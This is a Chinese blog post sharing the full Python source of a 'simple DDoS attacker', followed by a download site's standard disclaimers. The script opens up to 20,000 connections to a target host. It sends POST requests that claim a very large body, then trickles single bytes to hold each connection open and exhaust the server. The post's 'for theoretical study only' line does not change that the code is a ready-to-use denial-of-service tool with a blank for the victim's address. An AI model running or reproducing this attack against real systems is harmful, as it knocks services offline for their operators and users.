官方

Python打造简易DDos攻击器源码分享

作者 : 官方 发布时间: 2020-02-5 85 人阅读

今天分享由吾爱破解@cunzher大佬,使用Python语言写的一款本地DDos攻击器代码,分享给大家,代码原理利用socket模块不断向目标发送连接请求,达到攻击的目的。

import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名.
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()

启动需要安装socket、time、threading依赖,代码仅供理论学习参考,实际用途不大,测试注意修改源码

1. 深码博客软件源码都来源于网络采集和网络分享转贴,请不要用于商业用途,如有侵权请邮件联系站长!
2. 如果你也有好的软件或者源码,可以到个人中心投稿或者联系站长,分享有C币奖励和额外收入!
3. 深码博客提供的所有源码、软件、插件等等其他资源,都不包含技术服务请大家谅解!
4. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
深码博客 - 专业软件源码资源库 » Python打造简易DDos攻击器源码分享

发表评论